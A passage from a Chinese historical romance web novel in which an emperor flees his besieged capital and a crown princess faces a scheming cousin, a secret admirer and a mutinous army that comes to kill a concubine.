“是。”武将怵然出了一身冷汗。 —————————— 元延八年夏,左武卫大将军许康建率虎贲军与李颜决战于蒲津关,大败,许康建阵亡、薛忠涛阵亡,虎贲军死伤惨重,几近覆没。 消息传至长安,元延帝惊骇欲绝,再也忍耐不住,急命人传召赵上钧。 使臣至青华山云麓观,青虚老道出,老泪纵横,曰玄衍伤势愈重,兼郁结于内,日日呕血,恐不治也,不能奉帝王诏。 使臣苦求良久,不得见淮王面,遂悻悻而返,归告元延帝。 元延帝再传,淮王仍不能至,如是而三。 文武百官皆唏嘘,忆及昔日,淮王骁悍无双,剑锋指处,所向披靡,一人可敌万军、镇山河,只恨运乖时蹇,值此社稷危难之际,他竟困于伤病,莫非天要亡大周? 只有元延帝隐约意识到,那日在甘露殿上,赵上钧说的那句话,“臣对陛下已经了无亏欠”,究竟意味着什么。 元延帝说不出是愤怒更多些、还是后悔更多些,他看着从青华山回来的使臣跪在丹墀下,只觉得心中一片茫然,颓然坐在龙椅上,脸色惨白,环顾左右朝臣而发问:“众卿有何良策?” 临洮郡公李光达出,奏曰:“如老臣所奏,请陛下重新召集尚在京中的玄甲军人马,起复庄敬为统帅,犹可保一线生机,迟则晚矣。” 元延帝尚未回答,忽闻殿外报郭亥求见。 郭亥为报父仇,先前随许康建再征蒲津关,此时逃脱得归,不知有何军情要报,元延帝急命召入。 殿前千牛卫扶郭亥入,他浑身血迹干涸,双目只余黑洞,眼已盲,剩下一口气,奄奄一息,伏在地上,字字泣血:“许将军和薛将军亡于阵前,尸首为敌寇所获,李贼命缚马上,当众五马分尸。” 殿上众人相顾失色。 郭亥恸哭,声音嘶哑:“虎贲军为贼所擒者,以火活焚至死,遗骸弃于河,李贼曰,其长子、次子皆死于乱军,他欲令血债血偿,故此放臣归,以告陛下,待攻破长安日,他要杀尽皇族宗室 并文武百官,砌京观于长安城楼上,以儆效尤。” 他拼尽全力,以首触地,铿然有声:“臣无能,不能为陛下诛此逆贼,然臣已为陛下死战,不负陛下,臣去矣。” 言罢,当场气绝身亡。 左右大臣倒抽一口凉气,齐齐“啊”了一声。 元延帝惊得从龙椅上站了起来,面无人色,声音发颤:“果然胡蛮子,竟如此凶残,这、这该如何是好?速去查,潞州与徐州的援军几时能到长安?” 李光达冷静地提醒:“陛下,两地距离长安有千里之遥,只怕此刻传旨的使臣尚未抵达当地,加上调度粮草和兵马的时间,至少须三月后,届时,只怕李贼已经破城来。” 大臣们又惊,相互窃语,殿上嗡嗡如蝇声。 元延帝扼腕大恨,怒视群臣:“满朝文武,竟无一人可为朕分忧吗?庄敬!速召庄敬来,命其召集南衙卫兵中玄甲旧部,护卫长安,速去!” 兵部尚书严真甫立即飞奔去传旨。 此时,户部尚书林商出列,面带忧色,奏曰:“陛下,眼下长安兵力空虚,虽庄敬亦不能解此困境,古谚有云,使有青山在,以待明日,臣以为,应以陛下安危为重,可弃守长安,暂避李贼锋芒,保存实力,待援军至,方图再战之计。” 元延帝闻得李颜凶残之迹,又亲眼见郭亥惨状,心胆俱裂,已经六神无主,他素来信赖林商,现在听林商这么一说,顿时觉得有理,但若弃守长安,只怕将要背负千古骂名,他一时又难以决断,踌躇道:“众卿以为如何?再者,出长安,将何往?” 林商胆小怕死,当下又劝,言辞恳切,几至垂泪:“臣等愿效郭大人,以死尽忠,然则陛下身系万民,乃千金之躯,叛军来势凶猛,若冲撞陛下,臣等将成千古罪人,臣请陛下为江山社稷念,退出长安,保重龙体,方是上策。” 李光达和安王对视了一眼,各皆皱眉。 众大臣又议论纷纷,或曰可,或曰不可,朝堂上乱成了一锅粥。 傅方绪和同僚商议片刻,亦出列,奏曰:“林大人所言不无道理,臣以为,不若请陛下移驾蜀州,蜀州刺史许广汉乃臣之郎婿,其发妻与长子皆在京中,其子许连宜眼下在光禄寺做事,由此,可保许广汉对陛下尽忠,蜀州富庶,粮草辎重充足,且其地势多山,易守难攻,可为退路。李贼者,逞一时豪勇也,不能持久,而陛下除潞州、徐州外,另有渭州、北庭、安西等地人马可调度,待各地勤王之师至,何愁贼不灭?” 大殿金柱上的盘龙怒目圆睁,张牙舞爪,踞于高处,威风依旧。 元延帝沉重地喘息着,注视着丹墀下的大臣们,目中的神色摇摆不定。 …… 越三日,李颜再推一步,攻破潼关,至此,长安已无险可守。 长安百姓扶老携幼,慌忙出逃,昔日繁华天街,转眼尽呈分崩离析之象。 元延帝已无战意,不顾临洮郡公和安王的劝阻,决意移驾蜀州,命庄敬复建玄甲军中营,护卫圣驾,皇族宗亲并文武百官等先前听闻李颜大肆杀戮之事,不敢滞留长安,纷纷请求随驾出行。 长安空城,风雨飘摇。 —————————— 黄昏日暮,残阳照在长陵坡上,呈现出颓废而不祥的血色,周遭丘陵起伏,山间野草浓郁,树木茂密,那其中影影绰绰、窸窸窣窣、好似蛰伏着无数不可知的虫豸,随时会从泥土里爬出。 风吹过来,聚在丘陵山地间盘旋回转,呼呼簌簌,暑气未褪,反而愈发燥热。 元延帝的车驾从长安出,随众数千,庄敬率七万玄甲军护驾,一路急急奔逃,日夜兼程,今日行至此,不知为何,却突然停滞不前。 陈虔奉命去前面打听消息,回来的时候,面色凝重,对赵元嘉禀道:“玄甲军中多桀骜好胜之人,眼下聚集生事,有将领不愿随圣驾前行,欲回头与叛军决一死战,庄敬辖治不住,只能在长陵坡稍作休整,圣上还在和诸位大人商议安抚之策。” 赵元嘉顿足:“一群蠢材,叛军与吾等不过五六日行程,还不抓紧赶路,争执什么,死到临头,犹不自知!” “太子慎言。”傅棠梨心中固然也是惶恐,但闻得赵元嘉之言,仍然摇头,低声喝止,“将士热血,欲为朝廷死战,此忠义之辈,太子岂可口出恶言,若令外人闻,岂非心寒?” 赵元嘉悻悻闭嘴。 但没奈何,元延帝下旨,今夜在长陵坡驻营。 扈从们搭起了幄帐,当日匆匆出逃,未做万全备应,这幄帐虽极宽敞,陈设却简陋,素牛皮遮顶,底部铺了两层青缎,一方玉竹簟子为榻,榻上一张小案,仅此而已,案上摆一壶茶、一盏灯,帐中燥闷,烛光如豆粒。 赵元嘉大不满,斥责陈虔:“行事胡不周全,纵孤宽厚,怎可令太子妃居此陋室?” 陈虔不敢争辩,拱手喏喏而已。 傅棠梨冷冷的:“这光景,瞎讲究什么?啰嗦,你还不出去!” 赵元嘉呆滞了一下,很有些委屈:“二娘,也就这顶幄帐像样些,你怎么忍心叫孤出去?既然不讲究,那些个虚礼其实不必守着。” 沈皇后过身,傅棠梨以守孝为由,义正言辞地命太子与她分房而居,赵元嘉心里憋得实在难受,此刻挨挨蹭蹭,试图留下。 傅棠梨说话慢条斯理,意思却很坚决:“百善孝为先,太子当为天下人表率,如今外头多少眼睛看着,连御史台的大人都跟在后面,断不可有丝毫不端之处,落人口实,太子去吧,今晚先去和陈王挤一挤,或者去安王世子那里和他说说话也成,总之,不能留在我帐中。” 这是东宫专属的幄帐,但太子妃俨然已经把它当作自己所有,旁边从属听了,也觉理所当然,这东宫如今是太子妃做主,太子……太子还是要听太子妃的吩咐。 赵元嘉叹了好几口气,他在傅棠梨面前已经越来越气短了,虽然十分不甘,但还是不敢和她拗着,只能听从。 就当赵元嘉要出去的时候,外面突然传来一阵纷沓的马蹄声,地面隐约振动,很快,马蹄在幄帐边停了下来,随即有人在大声呼喝,渐至争执。 第65章 第65章有我在,你什么都不用怕…… 傅棠梨心里一咯噔,正要叫人出去察看,东宫卫率统领齐乘风进来,面上带着惊疑之色,禀道:“西宁伯世子韩子琛来拜太子。” 赵元嘉精神一振:“渭州的西宁伯?世子可是率兵前来护驾?” 因太子妃失忆了,陈虔急忙在旁解释道:“太子妃的生母韩氏夫人就是出身西宁伯府,世子正是太子妃的表兄。” 赵元嘉大喜:“那极好,世子此番前来,正解燃眉之急。” 但他话音未落,幄帐的门帘被人掀起,一个身披甲胄、玉树临风般的男子已经走了进来,他容貌英俊、面上带着一点淡淡的笑意,温雅中透出锐气,身后一众武士持金戈随行,愈发衬得他威武逼人,这一相比,竟让赵元嘉显得灰头土脸起来。 那男子进来,看也不看赵元嘉一眼,只把目光落定在傅棠梨身上,温声道:“表妹,别来无恙。” 赵元嘉一怔,旋即勃然大怒:“汝何人,孤未召,汝等竟敢执兵刃擅入,大胆!” 那男人的眼睛终于转过来,他笑了一下,略一颔首,敷衍地招呼了一声:“臣韩子琛,见过太子殿下。” 先前掀门帘的西宁伯府武士哼了一声,将门帘挑得更高了一些,让赵元嘉清楚地看见外面的情形。 一群重甲骑兵围在幄帐外,稍远处,隐约见大部人马停驻在丘陵之上,锐利的马槊在黄昏的落日中闪着冰冷的寒光,东宫卫率如临大敌,拔剑向对,但人数及气势明显均处于下风。 “我闻圣驾出京,特意率兵前来护驾,心急如焚,行事匆忙,若有失礼之处,太子请勿与我计较。”韩子琛如是说道,连“臣”的谦称也没有了。 渭州与长安相隔数千里,更甚于潞州和徐州,西宁伯的人马反而赶在这两地刺史之前到达,这岂非蹊跷? “你!”赵元嘉突然意识到这个,心里一阵发寒,情知韩子琛来者不善,又不知该说什么。 其实韩子琛完全不在意赵元嘉,他转头吩咐:“把东西抬进来。” 立即有十几个武士将一些物件搬进了幄帐,大件有云母镶嵌钿螺山水的围屏、云锦泥金的地毯、镂金牡丹团花的簟子、花梨小翘头的案几,小件有香炉、梅瓶、水瓯、纨扇等小玩意儿,还有两口紫檀雕云纹大衣箱,精致又华丽,和日常宫廷器物并无差别。 韩子琛看着傅棠梨,目光温柔,叹了一口气:“表妹本是金尊玉贵的人,如今跟着太子真是受苦了,你打小就娇气,我想着你这一路上吃穿用度不得称心,这次过来,把你在渭州家中的旧时物件一并带来,多少让你舒坦一些。” 傅棠梨对这个表兄没有一点印象,见此情形,心里觉得隐约有些不对劲,她沉吟不语,微微皱眉。 而这边赵元嘉也总算明白过来,这西宁伯世子分明就是故意上门挑衅,他气得脸色铁青,指着韩子琛,喝道:“大胆狂徒,给孤拿下他!” 齐乘风当即拔剑上前。 跟在韩子琛身后的戚虎断喝一声,大步踏出,挥刀迎击,刀光如虹,瞬间划过,照亮幄帐。 “锵”的一声,齐乘风的长剑被大刀削断,倒退了两步,戚虎上去又狠狠飞起一脚。戚虎是渭州军中最骁勇的战士,而齐乘风在京中养尊处优惯了,血性早不复存,被戚虎气势所压制,没两下就打翻在地,狼狈不堪。 韩子琛“嗤”了一声。 赵元嘉脸上青一阵红一阵,当着傅棠梨的面,他更觉得羞愤难当,倏然气血上涌,大喝一声,抽出剑来,朝韩子琛砍了过去。 那柄剑,是当初太子大婚时,淮王所赠的贺礼,剑名“燕支”,无双利器,赵元嘉逃离长安,将这柄剑一路随身带着壮胆。 韩子琛也不敢硬接这剑锋,他一侧身,利索地避开去,赵元嘉用力太猛,收势不住,一个踉跄,韩子琛出手如闪电,一把抓住赵元嘉的手腕,五指霍然收缩。 赵元嘉手腕剧痛,“啊”的一声,燕支剑掉落,他差点跌倒,愈发恼怒,另一只手握住拳头,砸向韩子琛:“放肆!” 韩子琛抬手,赵元嘉的拳头被他轻而易举地抵住。 这一下子,赵元嘉双手都被拿捏,卡在半道,进不得、也退不得,气得脸色红如猪肝:“韩子琛!” 幄帐外的东宫卫率见状,怒喝着,就要冲杀进来,跟在韩子琛身后的武士拔出刀来,渭州骑兵催马上前,提起了马槊。 双方剑拔弩张,一触即发之际,傅棠梨倏然伸手,抓起案上的茶壶,重重一摔。 只听得“哐当”一声大响。 众兵士稍有停顿。 “闹够了吗?”她面无表情,望着韩子琛和赵元嘉。 韩子琛立即收手,诚恳地拱手:“为兄错了,还请表妹息怒。” 渭州的士兵随之后退,十分迅速。 赵元嘉面上怒色依旧:“他……” “他是西宁伯世子。”傅棠梨冷静地截断了赵元嘉的话,指了指幄帐外面,“如今率了骑兵前来护驾,看这情形,应有数万众,而太子殿下,我们如今正被叛军追赶,那些士兵们还在哗变生事。” 她刻意顿了一下,问道:“所以,你要把世子轰走吗?” 赵元嘉张口结舌,瞬间气焰全消。 傅棠梨不再管他,而是把目光转向韩子琛,抬手做出延客之姿:“韩世子,请坐。” 韩子琛叹气:“你怎么这样称呼我,实在叫人伤心,听说你磕到头,把先前的事情全部忘了,竟然是真的吗?太子殿下,你是怎么照顾我家表妹的?” 这话说得,赵元嘉差点把牙齿咬碎,才硬生生忍住了咆哮。 傅棠梨思忖了一下,客气地道:“好吧,表兄,您请坐。” 韩子琛施施然坐下。 傅棠梨命陈虔收拾地上残局、并掌灯、上茶、焚香,以待客,虽在外,礼节一丝不能减。 那边戚虎已经自顾自地命渭州武士们将带给傅棠梨的家什物件等逐一摆上了,转眼就把幄帐挤得满满当当的。 地榻不很宽敞,韩子琛与赵元嘉各自正坐,面对面,仿佛对峙之态,两个人的目光,一个愤怒、一个轻蔑。 傅棠梨微妙地坐在中间的位置,若无其事地点了点头,开口道:“韩世子既是我表兄,念及血脉亲情,此番前来,必然是友非敌,是也不是?” “那是自然。”韩子琛的语气近乎温柔,“表妹自幼养在我们韩家,是我至亲之人,我怎么能与你为敌呢?我不会舍得。”他笑了一下,又补了一句,“我也不敢。” 这句“不敢”听过去显得有几分古怪。 赵元嘉虽然还板着脸,但心里着实松了一口气。 傅棠梨又问:“既如此,表兄可曾谒天子?” 韩子琛微笑:“我未曾奉圣命,擅自调兵,惧怕圣上责罚,暂未敢面圣。” 这分明是两端摇摆之意,他西宁伯世子如今是否愿为朝廷效力,还是未定之局。 赵元嘉刚刚落下去的心又提到了嗓子眼。 陈虔很快沏了香茶奉上,为上位者三人各自斟上,又退到赵元嘉身后侍立。 赵元嘉勉勉强强抬手示意:“韩世子,请喝茶。” 韩子琛端起茶,抿了一口,又放下,看了陈虔一眼:“顾诸紫笋乎?” 陈虔弯腰赔笑:“是,今年湖州新贡的顾诸紫笋,太子惯爱此茶。” 韩子琛摇了摇头:“莫非太子不知道吗?我表妹不爱顾诸紫笋,嫌它香太浓,她在家只爱喝敬亭绿雪和雀舌翠芽两样,可怜见的,嫁了人,喝茶反而不能就她的口味,还不如不嫁。” “太子!”傅棠梨赶在赵元嘉发作之前,再次指了指幄帐外的骑兵,提醒他,“看,渭州铁骑。” 赵元嘉气得几乎发抖,恶狠狠地端起茶盏,一口饮尽,“哐”地把茶盏按在案几上,扭过头去,不再和韩子琛说话。 傅棠梨端起茶盏,在唇边略沾了沾,淡淡地道:“我哪里就这么矫情了,什么茶喝不得,表兄说笑了。” 赵元嘉自觉挽回一点面子,脸色稍霁。 傅棠梨接下去,好似随口闲聊一般问道:“表兄既不去谒天子,来此何为?莫非与那李贼一伙吗?” 赵元嘉紧张得僵住了。 但韩子琛只是笑道:“若我说,是担心表妹的安危,为了保护表妹而来,你可相信?” 傅棠梨歪了歪脑袋,认真地思忖了一下,十分干脆地回答他:“我不信,我心里恍惚觉得,你不是这般良善之人,你此行究竟是何用意?” 韩子琛遗憾地摊了摊手:“你原来多聪明,我什么都不用说,你就能猜得到,如今不成了,把脑子给磕坏了。” 傅棠梨略蹙眉:“表兄一向都这么讨人嫌吗?” “你可别生气。”韩子琛敲了敲案几,他的言语坦诚得近乎无赖,“说起来,我还要多谢你,若非你,我也搭不上这条路子,罢了,你忘了也好,免得向我索要报酬。” 傅棠梨遽然一惊,瞳孔骤然缩紧,瞬间出了一袭冷汗,她隐约意识到韩子琛说的是什么意思,却并不能十分确定,也不好明说,只是低下头,沉默了一下,斟酌着道:“渭州百年基业,乃韩氏先祖累世所积,颇为不易,如今天下大乱,时局动荡,未知明日如何,表兄身为渭州之主,应以守成为宜,岂能如此激进冒险?” 韩子琛仍是一副温雅君子之态:“富贵险中求,我是什么样的人,表妹还不清楚吗?”他说完这句话,突然又笑了起来,拍了拍自己的头,没什么诚意地道歉,“哦,对不住,我忘了,你如今确实是不清楚的。” 两个人这一来一去地说着,听得赵元嘉皱起了眉头:“二娘,你和韩世子在说什么?” 傅棠梨不太愿意和赵元嘉谈论这个,她当作没听见,随口转了提及另外一个话题:“对了,表兄,我还有一事问你,我身边原有两个贴身侍婢,据说本是从西宁伯府跟着出来的,我出嫁前,打发她们回渭州去和家人团聚了,不知她们两个眼下如何?” “你是说黛螺和胭脂吗?”韩子琛不过略一沉吟,很快会意过来,他挑了挑眉毛,似笑非笑的,“这两个婢子是西宁伯府的家生子,父母家人皆在府中,我却未曾听闻她们回来的消息,怎么,这中间出了什么岔子吗?她们若敢弃主私逃,我定要将其家人一并贬了去做苦役。” 傅棠梨长长地叹了一口气,这答案,倒也有几分是意料之中,她瞥了赵元嘉一眼,神情淡淡的。 赵元嘉猝不及防,慌乱起来,他不敢直视傅棠梨,目光飘移不定,支支吾吾地道:“呃……眼下天色晚了,不若……韩世子请回吧,有什么话,改日再议、改日再议。” 当此众人面,傅棠梨也不好现在就和赵元嘉追究起来,她只能顺口应道:“是,表兄从渭州一路赶来,多有劳累,先请回吧。” “也罢,那某便告退。”韩子琛点了点头,用自然而然的语气道,“表妹,送我一送。” 赵元嘉生怕傅棠梨要和他谈及两个婢子的事情,巴不得暂避一下,当下故做大度,扭过头去,不予阻拦。 傅棠梨起身,随韩子琛一起走了出去。 天色确实晚了,时值十五,晚风簌簌,明月似玉盘,水银泻地,山林草木皆傅粉,无处不白,人间万物纤毫毕现。 渭州的骑兵拨转马头,跟随在韩子琛身后,马蹄踏踏的声音沉闷而杂乱,给这无边月色平添杀伐之气。 韩子琛走在前面,他负着手,虽着一身甲胄,却似闲庭信步,有一搭没一搭地和傅棠梨说着家常话:“表妹,不是我说你,你先前中意的那个,我是比不上,那没话说,如今嫁的这个……”他“呵”了一声,懒洋洋地道,“算什么?我都替他臊,配不上、真真配不上。” 他这话有些没头没脑的,但很奇妙,傅棠梨完全听懂了,她这会儿本就烦闷,闻言顿时板起脸,冷冷地道:“干卿底事。” 韩子琛转过脸,看了看傅棠梨,声音变得十分柔和:“那倒也是,你是饱读圣贤书的人,既然嫁给太子,自然与他休戚一体,同心同德,我方才说错话了,你别恼我。” 傅棠梨瞥了他一眼,目光充满不耐。 韩子琛当作不知道,继续往下说,说得情真意切:“但是你看,圣上携文武百官逃出长安,护卫兵力薄弱,后头更有叛军步步逼近,你的太子如今可是朝不保夕,危险得很,真叫人担忧哪。” “嗯,那如何?”傅棠梨心不在焉,随口道,“表兄有何高见?” 韩子琛循循善诱:“你忘了,你手上有渭州银矿的半数权属,你可以此作价,向我借八万骑兵,我保你的太子安然无虞到蜀州,如何?” “做梦呢。”傅棠梨毫不客气,她甚至睁圆了眼睛,“半座银矿,向你借八万兵,我要这八万兵作甚?说什么胡话,我莫不是疯,太子哪里值……” 她说到这里,又觉得有些不恭敬,把下半截硬生生收了回去,哼了一声,断然道:“总之,钱财乃立命安身之本,何其要紧,不管是太子还是谁,这世间没有什么人值得我把手里的银矿拱手让出。” “不错。”轻笑声自旁边穿来,那个男人的声音依旧和印象中的一样,低沉而浑厚:“须知她只是失了记忆,不是失了心智,子琛还是打住吧,不要试图诓骗她了。” 赵上钧从树后走出,他依旧做道士打扮,披一袭鹤氅,宽衣广袖,长身若青松,容姿世无双,似仙人临于此间。 骑兵们恭敬地下马,退到远处去。 韩子琛遗憾地“啧”了一下,朝傅棠梨做了一个告辞的姿势,无声地离开了。 这里离太子驻营处已经有些距离了,坡地起伏,树木丛密,月在枝头,林鸟掠过,须臾阴影。 大约,并没有人可以窥见吧。 傅棠梨的心跳得很急,风吹过来,吹乱了她的发鬓,她矜持地退后半步,垂眸不敢看他,低声问候:“皇叔大安。” 赵上钧慢慢地走到她面前,朝她伸出手来。 夏日,山间的草木恣意生长,散发出炙热而躁动的气息,藏在草木中的虫子啁啁鸣叫,十分急促。 傅棠梨抬眼望着他,那一瞬间的时光仿佛拉得长长的。他要做什么呢?要不要躲开呢?她站在那里,模糊地这么思量着,心中有些茫然,一动不动。 而他只是理了理她的凌乱的发鬓,替她将几缕碎发捋到耳后,轻盈如同羽毛蹭过。 “梨花,你瘦了。”他叹了一口气。 先是被软禁在长阳宫,之后沈皇后过世,她忙着操持后事,没过多久,叛军临城,匆忙出逃,这段日子来就没个安稳时刻,能不瘦吗? 傅棠梨苦笑了一下,鼻子有点发酸,含糊地“嗯”了一声。 赵上钧倏然摊开双臂,一把将她揽入怀中,拍了拍她的后背,用宠溺的语气抚慰她:“别怕,梨花,我在、我在这里,你什么都不用担心。” 傅棠梨一惊,下意识地挣扎着,想要摆脱他的怀抱。 但他抱得那么紧,双臂强硬如同铁箍,牢牢地禁锢了她。 他的身上带着梅花的苦香,或许还有血液干涸了,宛如铁锈的味道,糅合在一起,夏天的夜晚,连空气都是滚烫的,男人的气息将她从头到脚包裹起来,无从逃脱。 这些日子以来所有的惶恐和不安仿佛一下子全部涌上胸口,在旁人面前,她要装作冷静坚强,但此刻,在赵上钧面前,她却一点一点地软了下来,低了头,脸贴着赵上钧的胸膛。 他的胸膛坚硬而宽阔。 傅棠梨喘息良久,闷闷地道:“我不信你。” 赵上钧无奈地笑了一声,揉了揉她的头发,表示安抚。 “你骗我、太子骗我、表兄也要骗我。”傅棠梨越说越觉得委屈,其实这样的话并不合宜,黏黏糊糊的,像在和他撒娇一般,可她心里气得要命,忍不住恨恨地咬了咬嘴唇,“你们一个两个都这样,怎么了,我看过去像个傻子吗?” “那么……”赵上钧的嘴唇贴着她的耳朵,如同情人间的喁喁细语,“我现在就杀了元嘉,为你出气,可好?” 傅棠梨怵然,她打了个激灵,惊醒过来,用力推开了赵上钧,后退两 步。 林中飞鸟不知何故惊起,发出一声尖锐的啼鸣,扑簌簌地掠过树梢上的圆月。 “梨花舍不得他吗?”赵上钧柔声问道。 他并非说笑。 傅棠梨汗湿罗裳,她摇了摇头,不敢回答这个问题,沉默半晌,收敛起方才的失态,规规矩矩地行了个礼,返身走开。 走了几步,她情不自禁回头看了一眼。 赵上钧还站在树下,他眼眸的颜色有点儿浅,就如此夜里的月光,温柔地望着她,清辉皎皎。 这又令她心软了起来,她顿住脚步,小心翼翼地嘱咐了两句:“乱兵四起,时局诡谲,你万事小心,保重为宜,千万……千万不要让人担心。” 几步之遥,若即若离,四下无人,山林静寂,她的声音比风还软。 赵上钧心满意足,轻轻地应了一声:“好。” —————————— 傅棠梨回到幄帐的时候,赵元嘉已经出去了。 宫人禀道,传林承徽不适,太子担忧她腹中胎儿,过去瞧上一瞧。 这大抵是逃避的意思。 傅棠梨这会儿不想去计较这个,闻言不过淡淡的,更衣自去安寝。 她夜里睡得不太踏实,出行在外,终究不如宫中,这大热天的,也没得冰块纳凉,牛皮帐子闷得很,捂得人胸口发沉,额头一直出汗,在梦里像是被魇住一般,翻来覆去的。 睡不多时,突然被凶狠的吵闹声惊醒了。 傅棠梨遽然睁开眼睛,翻身坐起:“出了什么事?” 隔着牛皮帐子,隐约见外面火光摇曳,有人在厉声喝斥着什么,中间夹杂着兵刃碰撞的铿锵之声,在夜里显得格外心惊。 方司则掌着灯,挑开门帘,惊慌失措地跑进来:“太子妃,不好了,出事了!” 傅棠梨飞快地披上外裳:“别咋咋呼呼的,什么事,说!” 方司则的牙齿都在打颤:“玄甲军哗变,不肯前往蜀州,只因是户部的林尚书提议圣驾出京,他们便杀了林尚书全家,还说林家还有个女儿嫁入东宫,务必斩草除根,这会儿一群军汉杀上门来,太、太、太子殿下正和他们对峙,这、这情形眼看抵挡不住啊。” 长安已成危城,高官显贵随圣驾出逃,皆拖家带口,不忍骨肉别离,林商自然也是如此,将妻子和两个儿子一并带上,本打算躲开叛军,到蜀州的地界上继续享福,不曾想,一个没留神,居然一家子被人包圆了。 一夕之间,竟有这等惊变,听得傅棠梨也是目瞪口呆。 方司则带着哭腔:“太子妃,这可怎么办,您快拿个主张。” 帐中宫人闻言,吓得惊慌失措,抱成一团,瑟瑟发抖。 “肃静。”傅棠梨喝了一声,冷静地道,“那些乱军只与林承徽为难,与其他人等并无干系,我们只守在这里不出去就好,不要慌慌张张的,自乱阵脚。” 宫人见太子妃镇定如常,好似得到了安抚一般,心下稍定。 方司则犹自战战兢兢:“可是,太子还在外头,怎么……” 话音未落,只听见一声悲哀的呼叫:“太子妃救命!” 帐帘被猛地掀开,一个女子跌跌撞撞地跑了进来,直接扑到傅棠梨的脚下:“太子妃,求求您,救救妾啊!” 正是方司则提及的林承徽,她素有倾城之貌,此刻发髻凌乱,脸色惨白,满面泪痕,真是说不出的可怜。 这个节骨眼上,她怎么过来了,岂非引火烧身? 傅棠梨觉得不妙,当机立断:“来人,快把她……” “太子妃!”林婉卿凄厉地叫了一声,打断了傅棠梨的话,“您不要赶走妾!求求您了!” 方才赵元嘉领人拖住了那群煞神,她好不容易趁着空隙,侥幸逃到这里来,她知道,如今只有太子妃才是她唯一的救命稻草,她岂能轻易放弃。 她匍匐着上前两步,涕泪交加,把头磕得“咚咚”作响:“太子妃,救命,救救妾身,妾身往日对您一向恭敬侍奉,求您怜惜妾身,怜惜妾身腹中的孩儿,救妾身一命。” 这个林承徽乖巧得很,平日躲在自己的院中,从不出来讨嫌,偶尔一两次和傅棠梨碰面,也是哆哆嗦嗦、诚惶诚恐,活似见了鬼一般,弄得傅棠梨都疑心自己往日是不是苛待她了。现如今,她一个身怀六甲的孕妇,伏在那里,一只手紧紧地捧着隆起的腹部苦苦哀求,傅棠梨终究有些不忍,稍稍犹豫了一下。 就是这一犹豫,误了机会。 只听得“噗嗤”声响,一排锋利的长刀从外面插了进来,刺破了牛皮帐篷,齐齐一划、一挑,“嘭”的一下,帐篷断开半截,散在了地上,内中情状完全暴露出来,胆小的宫人歇斯底里地尖叫了起来。 外面一片火亮。 披着玄铁铠甲的士兵如同黑色的、不祥的潮水,将此处团团围住,无数火把将此处照亮如同白昼,兵刃的寒光夹杂着血色,煞气凛冽,迫人眉睫。 阵前领头的一员武将身量魁梧如熊,满面凶煞之气,手按在刀柄上,目光不善,盯着帐中众人。 前排一列卫兵,手持长刀,尚未还鞘,直指前方。 而那一边,赵元嘉领着百十余东宫率卫,急急冲了过来,厉声叫喊:“尔等身受皇恩浩荡,不思尽忠,反而行此大逆不道之举,难不成,尔等也要和那李贼一般造反吗?” 领头一员武将面无表情,完全没有把赵元嘉放在眼中,只对手下直接吩咐道:“杀了林氏余孽。” 卫兵应诺,当下就要上前。 林婉卿吓得魂飞魄散,一声惊叫,抱住了傅棠梨的大腿,如同狗皮膏药一般紧紧地黏住:“不、我不想死,太子妃救我、救我啊!” 一个卫兵挥刀指向傅棠梨,毫不客气地喝斥道:“闪开!” 又有卫兵大剌剌地朝着傅棠梨伸出手去。 方司则是个忠心的,见此情形,硬着头皮,战战兢兢地阻拦:“此乃太子妃也,尔等安敢无礼。” 那卫兵刀鞘一挥,直接将方司则打得倒退三步,跌在了地上。 左右宫人又是一阵惊天动地的尖叫,听得玄甲军卫兵们的耳朵都快聋了,这些粗鲁汉子当即举起了刀,恐吓道:“闭嘴,再叫,一块儿剁了!” 乱军之中,哪管你皇族贵胄、豪门望族,皆如草芥,万般由不得人。 傅棠梨惊怒:“住手!” 而这时,赵元嘉恰恰赶到近前,见状气得脸色发黑,率领东宫率卫拔出剑来:“尔等安敢以下犯上!孤要和尔等拼了!” 那领头的武将从上峰处得到的命令是,诛杀林氏满门,手段务必酷烈,以震慑诸方,他眼见当下场面混乱,这许多闲杂人等阻扰他办事,心中极为不耐,索性一挥手,做了个手势。 只听得“碰”的一声巨响,玄甲军前排战士擎出长形重盾,整齐划一地并在一起,组成了一堵铁墙,接着又是“刷”的一声,弓挽起,箭上弦,指向东宫众人。 这架势,俨然是对阵杀敌之势。 无人可挡。 赵元嘉及东宫率卫面如土色,持剑的手开始发抖。 傅棠梨的心沉了下去。 “住手!”此时,突然穿来一声粗鲁的怒喝,“王宪,你在此作甚?” 随着这声音,玄甲军士兵纷纷让道,庄敬从后面大步走来,一脸怒容,上前去,不由分说,对着那名为王宪的武将一脚踹去:“谁给你这般狗胆,敢惊扰贵人!作死吗?” 赵元嘉见到救星,精神大振,大声高呼:“庄将军来得正好,快快救孤!” 庄敬脸上掠过一丝轻蔑之色。 莫看王宪适才铁血无情、威风八面,此刻在庄敬面前却一下子变得温顺起来,他被庄敬踹了一脚,疼得龇牙咧嘴,也不敢呼疼,只是尴尬地抓了抓头,凑上前去:“末将这不是听从您……” “闭嘴!”庄敬恨不得把王宪按在地上暴打一顿,他压低声音,恨恨道,“你这蠢人,半点不懂见机行事,你知道你在对谁放肆吗?拖累我要一并被你害死。” 第66章 第66章逼宫 他大手一挥,沉声喝道:“给我收。” 王宪低下了头,玄甲军士兵立即收敛杀气,卸了重盾,放下弓弩,无声地后退了两步。 庄敬过来,客客气气地抱拳,躬身赔罪:“臣来迟,令太子、太子妃受惊了,臣该死,王宪莽撞,不从调度,擅自行事,是臣无能,稍后臣自向圣上请罪去。” 傅棠梨听闻赵元嘉呼“庄将军”一语,便知道了庄敬的身份,心里顿时一“咯噔”,原说玄甲军哗变,庄敬无力管辖,才使圣驾停滞,但如今看这情形,庄敬分明对玄甲军依旧掌控在握,如臂使指,只怕连林商之死,也是出于庄敬的授意吧。 她想及此处,不禁手心冒汗。 但 庄敬对傅棠梨恭敬异常,还特意上前,对她连连拱手:“庄某与韩世子曾共御敌寇,是生死之交,太子妃既是世子的表妹,那便是自家人,有庄某在,必命手下护卫太子妃周全,万无一失,还请太子妃安心。” 傅棠梨不信韩子琛有这么大的脸面,但庄敬神情温和,目中带着笑意,看过去并无恶意,她不愿再去深思,还了一礼:“多谢庄将军。” 庄敬不敢受礼,侧身避过,他对赵元嘉不过略一颔首而已,很快招呼了王宪及属下士兵离开了。 赵元嘉惊魂未定,抹了一把额头上的汗,恨恨道:“这群乱臣贼子,真真目无君父,胆大妄为,待到得蜀州,孤要和他们逐一清算。” 傅棠梨头都要疼起来了,皱眉道:“你可闭嘴吧,少说两句。” 